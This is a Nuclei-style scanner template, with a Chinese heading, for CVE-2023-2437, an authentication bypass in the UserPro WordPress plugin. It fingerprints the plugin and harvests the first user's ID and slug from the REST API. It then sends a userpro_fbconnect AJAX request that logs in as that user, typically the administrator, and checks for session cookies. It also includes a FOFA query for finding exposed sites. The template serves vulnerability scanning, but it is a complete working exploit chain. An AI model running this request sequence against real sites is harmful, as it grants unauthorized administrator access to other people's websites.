漏洞描述
The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.
id: CVE-2023-2437
info:
name: UserPro <= 5.1.1 - Authentication Bypass
author: intelligent-ears
severity: critical
description: |
The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.
reference:
- https://github.com/RxRCoder/CVE-2023-2437
- https://www.wordfence.com/blog/2023/11/several-critical-vulnerabilities-including-privilege-escalation-authentication-bypass-and-more-patched-in-userpro-wordpress-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2437
- https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2437
cwe-id: CWE-287
epss-score: 0.37023
epss-percentile: 0.9697
cpe: cpe:2.3:a:userproplugin:userpro:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: userproplugin
product: userpro
framework: wordpress
fofa-query: body="/wp-content/plugins/userpro/"
tags: cve,cve2023,wp,wordpress,wp-plugin,userpro,auth-bypass,vkev
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /wp-content/plugins/userpro/css/userpro.min.css HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, ".userpro")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /wp-json/wp/v2/users HTTP/1.1
Host: {{Hostname}}
extractors:
- type: json
name: username
part: body
json:
- '.[0].slug'
internal: true
- type: json
name: user_id
part: body
json:
- '.[0].id'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=userpro_fbconnect&id={{user_id}}&email={{username}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{\"redirect_uri\":\"refresh\"}"
- "wp-admin-bar-logout"
- "<span class='display-name'>"
condition: or
- type: word
part: header
words:
- "wordpress_logged_in"
- "wordpress_sec_"
condition: or
- type: status
status:
- 200
# digest: 490a0046304402204206e27a378e74e195959e4a6a4f010070c25cc342a223054ad5aaaddb10e4e3022071900e0c6edc02134d8452123495160eeaa87b2370acb76e7e1c01c5aee1285f:922c64590222798bb761d5b6d8e72950